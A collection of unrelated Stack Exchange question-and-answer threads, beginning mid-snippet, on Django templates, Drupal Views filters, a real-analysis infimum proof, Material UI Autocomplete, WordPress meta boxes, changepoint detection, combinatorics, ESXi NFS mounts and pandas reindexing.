        return reverse('blog:issue_detail',args=[self.slug])

    def __str__(self):
        return self.title

view.py
def list_of_issue(request):
    issue = Issue.objects.filter(status='published')
    paginator = Paginator(issue,10)
    page = request.GET.get('page')
    try:
        issues = paginator.page(page)
    except PageNotAnInteger:
        issues = paginator.page(1)
    except EmptyPage:
        issues = paginator.page(paginator.num_pages)
    template = 'blog/issue/list_of_issue.html'
    return render(request,template,{'issues':issues,'page':page})

list_of_issue.html
{% extends 'blog/issue/base.html' %}

{% block description %}This is the description{% endblock %}
{% block title %}List of blog Issue{% endblock %}

{% block content %}

Our lastest issues

            <button class="btn btn-default">New issues</button>
     {% for Issue in Issues %}

{{ Issue.title }}

         Written by {{ Issue.author }} on {{ Issue.published}} in {{Issue.project}}

         {{ Issue.content | truncatewords:40 | linebreaks}}
     {% endfor %}
     {% include 'blog/paginator.html' with page=Issues%}

Use info/project info

{% endblock %}

Comment: If you set `DEBUG=True`, in the `settings.py`, do you get any feedback what is wrong?
Comment: Have you checked if this queryset is not empty? `issue = Issue.objects.filter(status='published')`
Comment: @WillemVanOnsem I did not get feedback actually. just nothing shows on my screen
Comment: @HåkenLid yes. I added new issue. But it does not show on html page
Comment: There's not enough information for us to give you an answer. Create a minimal example [mcve]. The bug could be in `base.html` or some other place. "does not show" doesn't give us any clue to what's happening here. Maybe the parent template doesn't have a `block content` ?
Comment: When you say not working, what are you seeing in your when you load your project, obviously not working doesn't mean nothing appears, you see a blank page, or 403 page, something like that
Comment: @Lemayzeur Sorry for the unclear. the issue I just created is not showing on my HTML page,for other HTML elements worked fine.
Comment: can you try to `print(issue)` after this line `issue = Issue.objects.filter(status='published')` to see whether the queryset is not empty?
Comment: In your view, you have "issues" in lower case in the context but in your view, you have it in caps - "Issues".
Comment: @butteredtoast i believe you have typo. Can you say it more clear?
Comment: @Sue-MayXu change either one of **`issues`** in `return render(request,template,{'issues':issues,'page':page})` to **`Issues`** or in your template, change **`Issues`** in `{% for Issue in Issues %}` to **`issues`**.
Answer: Well, you have a typo in your HTML template, Here is what your return in your with the context issues, Note all letters are lower case
return render(request,template,{'issues':issues,'page':page})

Whereas in your templates, you iterate over Issues with a capital letter.
{% for Issue in Issues %}
Change it to {% for Issue in issues %}
I also suggest that you rename the variable issue to issues:
def list_of_issue(request):
    issue issues = Issue.objects.filter(status='published')
    paginator = Paginator(issue,10)
    page = request.GET.get('page')
    try:
        issues = paginator.page(page)
    # rest of the code

That's because you don't want pagination, to avoid NameError, the queryset will always issues as it's the name being sent to template here {'issues':issues,'page':page}

Model Issue is not working


Views exposed filter by season from date field (date range group as month only?)

Question: How would I create an exposed filter by season (spring, summer, fall, winter) based on date fields? I figured the approach would be to create date range filter groups by MONTH only (no year), but I don't see a straightforward way of doing this.
Any tips or advice for getting a workable solution? Thanks!
Answer: You can create the season date ranges and name them by using the Grouping Exposed filter option.
You can find it in the regular Date filter, select Grouped filters instead of Single filter for the Filter type to expose option.
Set the operators to Is between and enter the dates for your seasons (you can see spring and summer in this screnshot):

Drupal will assume midnight if you ommit the time and only include the date. You can look up the exact astronomical times for the seasons if you like :)
Be careful not to exclude some results if you use the same date in separate grouped options but not the same time.
Comment: Thanks @prkos for the answer... but I'm looking to get the month range WITHOUT THE YEAR. Your example still includes the year 2021, so only Spring/Summer in 2021 will show. Do you have a possible solution for accomplishing this month range for any year?
Comment: Ah I misunderstood. There are Contextual filters for creating monthly Summary results. I think you need a custom solution that would create a Contextual filter for the seasons, similar to how the month+year Contextual filter works.


If $0<a<1$, then $\inf\{a^n:n\in\mathbb{Z}_+\}=0$.

Question: Suppose $0<a<1$. I'm trying to prove $\inf\{a^n:n\in\mathbb{Z}_+\}=0.$ There's just one step in my proof I would like confirmation on.
First we note $0$ is clearly a lower bound for the set $\{a^n:n\in\mathbb{Z}_+\} $ since $a>0\implies$ by induction that $a^n>0$ for all $n\in\mathbb{Z}_+$. If $t>0$ is any other lower bound for the set $\{a^n:n\in\mathbb{Z}_+\}$, then since $a\neq0$ define $h=(1-a)/a=(1/a)-1$ so that $h>0$. Then again by induction (or just invoking the Bernoulli Inequality) one has $$(1/a)^n=1/a^n=(1+h)^n\geq1+nh$$
which is equivalent to $$a^n\leq\frac{1}{1+nh}<\frac{1}{nh}$$ since $a^n>0,1+nh>0$ for all $n$. Thus multiplying through by $h>0$ we obtain for all $n$: $$0<th\leq ha^n\leq\frac{h}{1+nh}<\frac{1}{n}$$
Now if we suppose that we already know that $\inf\{1/n:n\in\mathbb{Z}_+\}=0$, then the last inequality contradicts that fact since $th$ is a lower bound for $1/n$ greater than $0$. Thus no such $t>0$ exists, and we conclude $0$ is the greatest lower bound for the set $\{a^n:n\in\mathbb{Z}_+\} $.
My concern is with the derivation of the contradiction with $th$ and the use of $\inf\{1/n:n\in\mathbb{Z}_+\}=0$. Is this argument correct?
Comment: Related question: [If $0<a<$1, show that $\inf{a^n}=0$](https://math.stackexchange.com/q/1902849).
Answer: Your argument looks correct to me. However, you can simplify the proof.
Notice first that the sequence $\{a^n\}$ is strictly decreasing. Let $t$ be the lower bound of $S=\{a^n:n\in\mathbb{Z}_+\}$. If $t/a \gt t$, it exists $m \in \mathbb{Z}_+$ such that $t \le a^m \lt t/a$. But then $a^{m+1} \lt t$. A contradiction. Therefore $t/a = t$, which means $t=0$.
Comment: Thank you! I like your proof as well


React Material UI: How to disable typing in Autocomplete text field?

Question: I have used material UI component Autocomplete to render some options, but I want Autocomplete to let user avoid typing to get suggestion. Is there any way to make it work as select dropdown and blocking the textField input. Here, I can use Material UI select dropdown but is there anyway I can change autocomplete to select?
I have tried passing disabled to the TextField props but it looks like the complete dropdown is disable and still it allows to enter text.
Here is my component of autocomplete to reuse:
 <Autocomplete
    fullWidth
    value={selected}
    onChange={handleChange}
    renderInput={(params) => <TextField {...params} {...getTextFieldProps({ value: value })} />}
    {...getAutocompleteProps({ value: value })}
  />

Comment: @Tales so you want something like [this](https://github.com/mui-org/material-ui/issues/5634#issuecomment-393299409)?
Comment: in `handleChange` function just return immediately, without setting the value to state.
Comment: I have some options to show in dropdown. In handle change the option value is selected. There would also be a cursor which will make user to type.
Comment: @Tales why don't you use `Select` component?
Comment: @NearHuscarl I have seen material UI select demos and I have seen it shows the option in a sticky dialog which when opens it hovers on the dropdown. I want something similar to autocomplete if opens the options it should be shown below the dropdown
Comment: @NearHuscarl Thanks, I will try this.
Answer: You might wanna addonKeyPress={(e) => {e.preventDefault();}} in the textfield and if the caret in the text field is annoying you can change its color to match the rest by adding sx in the inputprops so it won't show upInputProps={{sx: {caretColor: "white",}}}
Comment: or you can [add readOnly to InputProps](https://stackoverflow.com/a/72045200/5502718)
Comment: unfortunately nowadays the "onKeyPress" is deprecated .. I have to find another solution
Comment: in my case this worked:  `onKeyDown={(e) => {e.preventDefault();}}`
Answer: Set the inputValue="" for Autocomplete.
Answer: For anyone who wants the Select option to open (down) as a dropdown, you need to update the anchorOrigin or transformOrigin to reposition your options.
As follow:
<Select
     ...
     MenuProps={{
            anchorOrigin: {
                vertical: "bottom",
                horizontal: "left"
            },
            transformOrigin: {
                vertical: "top",
                horizontal: "left"
            },
            getContentAnchorEl: null
        }}
    />

Comment: Hi mate, could you please provide complete code how you achieved this?
Comment: I updated my answer @dhiraj1mumbai, you need to use the `Select` from `"@material-ui/core"` if you use material v4
Comment: Kindly upvote my answer if It helped


WordPress: cannot access callback_args key values inside callback function

Question: I am developing a simple plugin based custom post type. The post type is registered fine. Now I want to create some meta boxes and pass a few property values via callback arguments. This is what I tried:
function wpcd_add_dealer_meta_boxes() {
        add_meta_box(
            'dealer_first_name',
            'First Name',
            array($this, 'wpcd_meta_box_first_name_markup'),
            'dealers',
            'normal',
            'default',
            array(
                'id' => 'first_name',
                'name' => 'first_name',
                'type' => 'text',
                'placeholder' => 'Enter first name',
                'maxlength' => '30',
                'spellcheck' => 'true',
                'autocomplete' => 'off'
            )
        );
    }

And here is my callback function with an argument:
function wpcd_meta_box_first_name_markup($args) {
        $html = '<input ';
        $html.= 'type="' . $args->type . '" ';
        $html.= 'id="' .$args->id . '" ';
        $html.= 'name="' .$args->name . '" ';
        if( isset($args->required) && ($args->required == 'true' || $args->required == '1' ) ) {
            $html.= 'required ';
        }

        if( isset($args->placeholder) && $args->placeholder != '' ) {
            $html.= 'placeholder="' . esc_attr( $args->placeholder ) . '" ';
        }

        if( isset($args->maxlength) ) {
            $html.= 'maxlength="' . $args->maxlength . '" ';
        }

        if( isset($args->spellcheck) && ($args->spellcheck == 'true' ) ) {
            $html.= 'spellcheck="' . $args->spellcheck . '" ';
        }

        if( isset($args->autocomplete) && ($args->autocomplete == 'on' ) ) {
            $html.= 'autocomplete="' . $args->autocomplete . '" ';
        }

        $html.= '/>';

        echo $html;
    }

But I cannot get the values like $args->id, $args->name etc inside the function. To be precise, all the values are empty, where I did not check if(isset(...)). And where I did those are simply ignored.
With my above code I am expecting the following markup as output:
<input type="text" id="first_name" name="last_name" required placeholder="Enter firstname" maxlength="30" autocomplete="off" spellcheck="true" />

while the actual output is
<input type="" id="" name="" />

Attributes type, id and name are not wrapped inside an if(isset()) block so they are being generated (with empty values) and whatever is wrapped inside if(isset()) block, are simply being ignored, as if they are not set at all!
What I am missing or doing wrong?
Any suggestion would be a life saver for me.
Comment: What about using `$args['type']` etc. ?
Comment: Indeed. You're putting values in an array and using object access syntax to try and get them out.
Comment: @Und3rTow I tried `$args['type']` already and got this:

`Fatal error: Cannot use object of type WP_Post as array in /var/www/wp-projects/subratasarkar.com/wp-content/plugins/product-dealer/product-dealer.php on line 68`

@MattGibson would you please tell me the right way to do this?
Answer: If you check the documentation for add_meta_box() carefully, you'll see:

($callback_args (array) (Optional)  Data that should be set as the
  $args property of the box array (which is the second parameter passed
  to your callback).

The first parameter passed to your callback is a WP_Post object. The second is your parameter array. So, try:
function wpcd_meta_box_first_name_markup($post, $args) { ...

And then access your arguments as you'd expect:
$args['type']

Comment: Yes, I got it working finally. I was missing the first parameter `$post`. And then using var_dump I understood how the array has been formed. Sorry for trouble sir. Thank you very much for looking into it.


Is E-Divisive with Medians (the Twitter BreakoutDetection algo) robust and efficient?

Question: There are quite a few algorithms to detect changepoints, outliers, mean shifts, trend shifts etc. out there. Recently I've stumbled upon BreakoutDetection and while it's new and shiny I'd like to know if there are any problems with using the algorithm to detect, specifically, multiple mean shifts in non-normally distributed random processes (e.g. studies reviewing the method).
In particular I'm worried that there are apparently two versions of the code (R and C++) and results are "sensitive to scaling", apparently showing up differently for the same underlying dataset.
References:

Nicholas A. James, Arun Kejariwal, David S. Matteson. Leveraging Cloud Data to Mitigate User Experience from "Breaking Bad". Nov. 2014. arXiv PDF.
https://github.com/twitter/BreakoutDetection
Answer: I know it's a little late, but just stumbled upon this...
I don't believe that there are two separate versions of the BreakoutDetection algorithm (R and C++); rather, the core implementation is done in C++ and the R package simply provides a wrapper around that code with a nice interface for working with your data within the comforts of R.
The algorithm should not be sensitive to scaling as it scales all the data to a 0-1 interval before doing any of the real statistics.
I've done some testing with the algorithm and have not had any problems in regard to scaling problems or non-normally distributed data. Two caveats I've come across:

There are several parameter options which have non-trivial effects on your output, so you'll want to experiment and tune these to your specific use case.
The algorithm may not catch breakout points near the edge of your timeseries (as you might expect).

I also recommend this excellent blog post by Ilya Kipnis: http://www.r-bloggers.com/an-introduction-to-change-points-packages-ecp-and-breakoutdetection/.


Choosing a group of 6 balls (from a group of 18 balls) such that exactly one color of ball is not chosen at all

Question: Bob is trying to choose 6 balls from a bucket of 18 balls. The bucket contains 3 balls of each color, and there are 6 colors total. In each set of 3 balls, one of the balls is small, one is medium, and one is large. How many sets of 6 balls can Bob choose, if exactly one color is not chosen at all?
I am thinking about partitioning the problem into cases:

- One of the balls of the forbidden color is chosen

- Two of the balls of the forbidden color is chosen

- Three of the balls of the forbidden color is chosen
At the end, I would subtract the sum of all these case from the total number of ways you could choose 6 balls from a bucket of 18 balls. Is this correct?
Comment: @Muselive you have counted every possibilities twice. Choosing the small red ball first, the the medium red ball is the same as choosing the meduim red ball then the small red ball.
Comment: Are you taking into account that there are three ways to choose the forbidden color?  If so, you're correct, though it seems easier to ask, "How many ways are there to choose $3$ balls from the $6$ permitted ones," and then multiply by $3$.
Comment: 6 ways to pick the excluded color. Now your sample must have 1 of each of the eligible colors, $3^5$ ways to do that, and there are 10 more eligible balls to fill the sample. $6(3^5)(10)$ is a tentative answer but i still feel like I'm over counting.
Comment: Ok maybe I misinterpreted. Is the excluded color fixed?
Answer: Since you have $6$ colors and you need that exactly one is not chosen, then four colors will be chosen once and one color will be chosen twice.
You first choose which color is not there $6\choose1$, then, from the remaining five, which will be chosen twice ${5\choose1}{3\choose2}$. Finally, choose one ball for the remaining colors ${3\choose1}^4$.
Number of possible sets is
$${6\choose1}{5\choose1}{3\choose2}{3\choose1}^4=7290$$
Answer: This is correct if somebody tells you which color is forbidden.  The problem wants you to consider that any color might be the one missing.  You can't just multiply your result by $6$ because it will double count the ones that are missing two colors.  You can use the inclusion-exclusion principle to handle that.


esxi 6.0 nfs mounted share is not visible and not unmountable yet still tries to mount

Question: I have a NAS that is presenting shares via NFS for esxi hosts, one is called metro-software which is where all of my ISOs and installation media resides.
I recently went through a lab reconfiguration to 10gbit and rebooted the esxi host and now it's trying to mount on the old IP however my NAS is blocking it. I can't figure out where in esxi its storing this mount information to try and mount it.
the vsphere c# client doesnt show it, nor does the ssh command esxvfg-volume -l
Any tips on forcing the removal of it?
[root@phxlp-esx02:/vmfs/volumes] esxcfg-volume -l

[root@phxlp-esx02:/vmfs/volumes] esxcfg-volume -u metro-software
VmFileSystem: Unable to get device properties for volume / device : Can't    umount normal VMFS volumes. This option is only valid for snapshot/replica   volumes which are manually mounted.

[root@phxlp-esx02:/vmfs/volumes] esxcfg-volume -m metro-software
No matching volume metro-software found!

NAS logs are
Dec 23 07:15:47 stg02 mountd[3340]: mount request denied from 192.168.30.51 for /mnt/VAULT/software

the temporary workaround is to allow the 192.168.30.51 IP so it can be mounted but it still doesn't solve my problem of how/where esxi stores its mount information similar to /etc/fstab.
Answer: to answer my own question... this is how I resolved it.
The issue was three fold

I didn't do a cleanup of the vcenter server 6.5 installation so the datastore was in a cluster with i/o controls and the esxi host was still configured for this. I couldn't remove the datastore because of this.
esxi couldn't mount it because of the IP not being on the exports list on my NAS
finally once it was re-mounted, esxi still thought it was being used

running via ssh esxcli storage nfs list showed me the mount point, however trying to remove it via esxcli storage nfs remove -v metro-software would fail because it thought it was still being used, even though it wasn't.
What I did was allow the IP to mount the share, so it showed in the gui once it mounted. However I couldn't unmount it, so I then removed the IP from the whitelist and then went into the GUI and unmounted it.I could also have re-ran esxcli storage nfs remove -v metro-software instead.


Pandas: enter missing rows in a dataframe

Question: I'm collecting time series data, but sometimes for some time points there is no data to be collected. Just say for example I am collecting data across four time points, I might get a dataframe like this:
df_ = pd.DataFrame({'group': ['A']*3+['B']*3,
                    'time': [1,2,4,1,3,4],
                    'value': [100,105,111,200,234,222]})

sometimes there is a datapoint missing and so there is no row for that point, I would like groupby and to forward fill with the previous value to create a new row form which would look like this:
df_missing_completed = pd.DataFrame({'group': ['A']*4+['B']*4,
                                     'time': [1,2,3,4,1,2,3,4],
                                     'value': [100, 101, 105,111,200, 202, 234,222]})

I had the idea that I could create an new dataframe as a template with all the dates and time points, without any values, join it with the real data which would induce NA's, and do a ffillon the value column to fill in the missing data, like below:
df_template = pd.DataFrame({'group': ['A']*4+['B']*4,
                                 'time': [1,2,3,4,1,2,3,4]})
df_final = pd.merge(df_template, df_, on = ['group', 'time'], how='left')
df_final['filled_values'] = df_final['value'].fillna(method='ffill')

but this seems like a messy solution, and with the real data the df_templete will be more complex to create. Does anyone know a better one? Thanks!
Comment: You don't really do a ffill here, can you clarify the logic?
Comment: you may want to have a look at [`reindex`](https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.reindex.html) with `method='ffill'`
Comment: Thanks @mozway. I edited my question to clarify how it would work with a template dataframe and ffill. But I don't find it to be a satisfying solution.
Comment: your `df_missing_completed ` doesn't correpsond to `df_final`, as *mozway* pointed out in the first comment
Answer: I would use:
(df_.pivot(index='time', columns='group', values='value')
    # reindex only of you want to add missing times for all groups
    .reindex(range(df_['time'].min(), df_['time'].max()+1))
    .ffill().unstack().reset_index(name='value')
)

Output:
  group  time  value
0     A     1  100.0
1     A     2  105.0
2     A     3  105.0
3     A     4  111.0
4     B     1  200.0
5     B     2  200.0
6     B     3  234.0
7     B     4  222.0

Comment: this is fine for the given example but won't work in general, e.g. if the same time is missing for all groups, say for `'group': ['A']*3+['B']*3, 'time': [1,2,4,1,2,4],`
Comment: @Stef it's not sure that OP wants to fill those, but if this is the case, your can `reindex` before the `ffill`
Comment: @mozway, thanks, it seems to work, however, with my large dataset, there may be cases where the same time is missing for all groups. Would it not work then?
Comment: @stevezissou if you want to add all numbers you need to add a reindex step, is this what you want? See the updated answer.
Answer: Instead of a template dataframe you could create a new index and then reindex with ffill:
new_idx = pd.MultiIndex.from_product([list('AB'), range(1,5)], names=['group', 'time'])
df_.set_index(['group', 'time']).reindex(new_idx, method='ffill').reset_index()

The result keeps the datatype of the value column:
  group  time  value
0     A     1    100
1     A     2    105
2     A     3    105
3     A     4    111
4     B     1    200
5     B     2    200
6     B     3    234
7     B     4    222